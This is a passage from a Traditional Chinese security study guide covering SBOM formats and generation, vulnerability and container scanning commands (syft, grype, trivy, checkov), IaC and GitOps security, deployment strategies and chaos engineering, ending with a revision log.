國際標準	ECMA-424	ISO/IEC 5962
VEX 支援	原生內建	需搭配 CSAF 格式
SaaSBOM 支援	✅ 支援（服務元件清單）	❌ 不支援
格式	JSON、XML、Protocol Buffers	JSON、RDF、Tag-Value、XLSX
工具生態	syft、cdxgen、CycloneDX CLI	SPDX tools、FOSSology

• 若需求偏重安全漏洞管理，選 CycloneDX。
• 若需求偏重授權合規或需符合 ISO 標準，選 SPDX。
• 兩種格式可互轉，實務上選擇取決於組織的工具鏈與合規需求。

SBOM 生成與漏洞掃描指令

# syft：產生 SBOM（支援 CycloneDX 與 SPDX 格式）
syft myapp:latest -o cyclonedx-json > sbom.cdx.json
syft myapp:latest -o spdx-json > sbom.spdx.json

# cdxgen：多語言 SBOM 生成工具（支援 .NET、Node.js、Java 等）
cdxgen -o sbom.json --type dotnet

# grype 搭配 SBOM 進行漏洞掃描
grype sbom:sbom.cdx.json

# .NET 專案原生 SBOM 生成（需安裝 Microsoft.Sbom.Tool）
dotnet tool install --global Microsoft.Sbom.Tool
sbom-tool generate -b ./output -bc . -pn MyApp -pv 1.0.0 -ps MyOrg

• 官方文件：
  • Syft 安裝：https://oss.anchore.com/docs/installation/syft/
  • Syft Getting Started：https://oss.anchore.com/docs/guides/sbom/getting-started/
  • cdxgen：https://github.com/CycloneDX/cdxgen
  • Grype 安裝：https://oss.anchore.com/docs/installation/grype/
  • Grype CLI Reference：https://oss.anchore.com/docs/reference/grype/cli/
  • Microsoft SBOM Tool：https://github.com/microsoft/sbom-tool

容器安全（Container Security）

安全層面	說明
Image Scanning（映像檔掃描）	掃描容器映像檔中的已知漏洞與惡意軟體，在 CI/CD 階段攔截有風險的映像檔。工具：Trivy、Grype、Snyk Container
Base Image 管理	使用官方或經驗證的最小化映像檔（如 alpine、distroless），減少攻擊面
Runtime Protection	執行期監控容器行為，偵測異常（如非預期的網路連線、檔案系統變更）。工具：Falco、Sysdig
Pod Security（Kubernetes）	Kubernetes Pod Security Standards 定義三個等級：Privileged（不限制）、Baseline（防止已知提權）、Restricted（最嚴格）
不可變容器（Immutable Container）	容器內檔案系統設為唯讀（readOnlyRootFilesystem: true），執行期不允許修改，降低被植入後門的風險
Registry 安全	私有 Registry 啟用存取控制與映像簽章驗證（如 Cosign / Notary），防止拉取被篡改的映像檔

容器 vs VM 安全差異

• 容器共用 Host OS Kernel，隔離性弱於 VM（Hypervisor 隔離）。容器逃逸（Container Escape）可直接存取 Host。
• 補償控制：使用 seccomp profile 限制系統呼叫、AppArmor/SELinux 強制存取控制、以非 root 使用者執行容器。
• Kubernetes 的 NetworkPolicy 可限制 Pod 間的網路通訊（預設 Pod 間可自由通訊）。

Docker 安全掃描指令

# Trivy：容器映像檔漏洞掃描（僅顯示 HIGH 與 CRITICAL）
trivy image --severity HIGH,CRITICAL myapp:latest

# Grype：另一個映像檔掃描工具（僅顯示已有修補版本的漏洞）
grype myapp:latest --only-fixed

# Docker Scout（Docker 官方內建）
docker scout cves myapp:latest

# Trivy 掃描 Kubernetes 叢集設定
trivy k8s --report summary cluster

• 官方文件：
  • Trivy 安裝：https://trivy.dev/docs/latest/getting-started/installation/
  • Trivy Container Image 掃描：https://trivy.dev/docs/latest/target/container_image/
  • Docker Scout 安裝：https://docs.docker.com/scout/install/
  • Docker Scout CLI Reference：https://docs.docker.com/reference/cli/docker/scout/

基礎設施即程式碼安全（Infrastructure as Code Security）

IaC 將基礎設施定義為可版控的程式碼檔案，但錯誤的設定可能導致安全漏洞（如公開的 S3 Bucket、過寬的防火牆規則）。

檢查面向	說明
靜態分析	在部署前掃描 IaC 範本中的安全設定錯誤。工具：Checkov（多框架支援）、KICS、Trivy（含 IaC 掃描）
Policy as Code	將合規政策定義為程式碼（如 OPA/Rego、Sentinel），在 CI/CD 中自動驗證
Drift Detection（飄移偵測）	偵測實際環境與 IaC 定義之間的差異，防止手動變更繞過版控
Secrets 分離	IaC 範本中不得包含密碼或金鑰，應引用 Secret Manager 或 Key Vault

Terraform / IaC 安全掃描指令

# Checkov：多框架 IaC 安全掃描（Terraform、ARM、CloudFormation、Kubernetes）
checkov -d . --framework terraform

# Checkov 掃描 Kubernetes manifests
checkov -d ./k8s/ --framework kubernetes

# tflint：Terraform Linter（含安全規則）
tflint --init && tflint .

• 官方文件：
  • Checkov 安裝：https://www.checkov.io/2.Basics/Installing Checkov.html
  • Checkov 簡介：https://www.checkov.io/1.Welcome/What is Checkov.html
  • TFLint：https://github.com/terraform-linters/tflint

GitOps 安全

GitOps 以 Git 倉庫作為基礎設施與應用部署的唯一事實來源（Single Source of Truth），透過 Git 的變更流程（PR / Merge Request）控制部署。

安全特性	說明
變更稽核	所有部署變更都有 Git commit 紀錄，提供完整的稽核軌跡
Pull-based 部署	部署代理（如 ArgoCD、Flux）從 Git 拉取設定，無需將 Cluster 憑證暴露給 CI 系統
自動回滾	環境偏移（Drift）時自動同步回 Git 定義的狀態，確保宣告式一致性

GitOps 安全注意事項

• Git 倉庫本身成為攻擊目標：需啟用分支保護規則、強制程式碼審查、MFA。
• Secrets 不應以明文存入 Git：使用 Sealed Secrets、SOPS 或外部 Secret Manager 加密後再存入。

開發維運工具對照表（Linux / macOS / Windows）

領域	Linux / macOS	Windows / Azure	說明
容器引擎	Docker Engine、Podman	Docker Desktop、Windows Container	Podman 為 daemonless 架構，不需常駐服務；Windows Container 支援 Process 與 Hyper-V 兩種隔離模式
CI/CD	Jenkins、GitLab CI、GitHub Actions	Azure DevOps Pipelines、GitHub Actions	GitHub Actions 為跨平台；Azure DevOps 整合 Azure 生態系
日誌與監控	ELK Stack（Elasticsearch + Logstash + Kibana）、Prometheus + Grafana	Azure Monitor、Splunk、Application Insights	ELK 為開源方案；Splunk 與 Azure Monitor 為商業方案，提供進階分析與告警
IaC	Terraform、Ansible、Pulumi	ARM Template、Bicep、PowerShell DSC	Terraform 為跨雲方案；Bicep 是 ARM Template 的語法糖，僅適用 Azure；PowerShell DSC 用於 Windows 伺服器設定管理
Secret 管理	HashiCorp Vault	Azure Key Vault、AWS Secrets Manager	Vault 為跨平台方案；雲端 Key Vault 與雲端 IAM 深度整合

部署策略對照表

策略	機制說明	風險等級	回滾速度	適用情境
Blue-Green（藍綠部署）	維護兩套完整環境（藍/綠），新版部署至非活躍環境，測試通過後切換流量。	低	極快（切回舊環境）	需要零停機且回滾要求高的關鍵服務
Canary（金絲雀部署）	先將新版推送至小比例使用者（如 5%），觀察指標後逐步擴大；異常時立即縮回。	低～中	快（縮回比例）	大規模服務、需要漸進驗證的場景
Rolling（滾動更新）	逐批替換實例（如每次更新 25%），直到全部完成。	中	中（需逐批回滾）	容器化 / Kubernetes 環境的預設策略
A/B Testing	將不同版本分配給不同使用者群組，比較指標（轉換率、效能）。	低	快（切換分組）	產品功能實驗、UX 最佳化
Feature Flag（功能開關）	透過設定控制功能啟用/關閉，部署與發布解耦，不需要重新部署即可切換。	低	極快（關閉開關）	持續部署、需要動態控制功能可見性

常見部署策略取捨

• Blue-Green 成本最高（需雙倍基礎設施），但回滾最安全。
• Canary 是業界最常見的漸進式策略（Google、Netflix 廣泛採用）。名稱來自礦坑金絲雀：先派少量使用者測試，有問題先發現。
• Rolling 是 Kubernetes Deployment 的預設更新策略（strategy.type: RollingUpdate）。
• Feature Flag 不是部署策略本身，而是輔助機制，可搭配任何部署策略使用。
• 部署策略的選擇取決於服務規模、基礎設施成本、以及可接受的風險水準。

混沌工程（Chaos Engineering）

混沌工程透過主動注入故障（如隨機終止服務實例、模擬網路延遲），在受控環境中驗證系統的韌性與容錯能力。從資安角度，同樣可用來測試安全控制在異常情境下是否仍然有效，例如 WAF 在高流量衝擊下是否持續過濾攻擊。

面向	混沌工程	滲透測試	DR 演練（完全中斷測試）
目的	驗證系統能否自動從故障恢復	找出可被利用的安全漏洞	驗證備援切換能力與 RTO/RPO
測試對象	技術系統（自動化層）	攻擊面與漏洞	技術系統 + 復原流程
執行環境	生產環境（受控）	測試環境為主	通常在測試環境
故障來源	工程師主動注入技術故障	模擬攻擊者手法	模擬重大災難情境
頻率	持續或高頻	定期（年度 / 季度）	定期（年度）

概念	說明
穩態假設（Steady State Hypothesis）	定義系統正常運作時的可量測指標（如回應時間 < 200ms、錯誤率 < 0.1%），作為實驗的比較基準
爆炸半徑（Blast Radius）	限制實驗影響範圍，從小規模開始（如單一 Pod），逐步擴大
Game Day	團隊定期模擬真實故障情境（如區域斷電），演練事件應變流程

混沌工程的實作原則

• Netflix 的 Chaos Monkey 是最知名的混沌工程工具，隨機終止生產環境的 VM 實例。
• 混沌工程不是隨機搞破壞，而是有假設、有量測、有控制的科學實驗。

異動歷程

1. 2026-05-02

   • 初版文件建立。
2. 2026-05-21

   • 補充各章節理解輔助圖表（Mermaid 與 ECB 模式企鵝視覺對比圖）。
   • 修正語句用詞，統一使用台灣慣用語。
   • 補充技術細節（新增 MTTP 修補指標、類比與過渡語）。
   • 整併 Cyber Kill Chain 重複的線性圖。
3. 2026-05-23

   • 重寫資產分類與分級章節，補足資產盤點、敏感度與關鍵性判斷脈絡。
   • 更新 OWASP Top 10 至 2025 版，並補充 OWASP Cloud-Native Application Security（CNAS）Top 10 檢查清單。
   • 補充法規、合規與稽核框架內容，並修正 GDPR、臺灣個資法與資通安全管理法相關描述。
   • 調整 TLS、OAuth、FIDO2 / Passkey 等近期規格敘述，收斂過度絕對化的說法。
   • 擴充身分存取、SOC、雲端安全與開發維運安全章節的整理脈絡。
   • 調整 IaC 安全掃描工具清單，移除 tfsec 相關內容。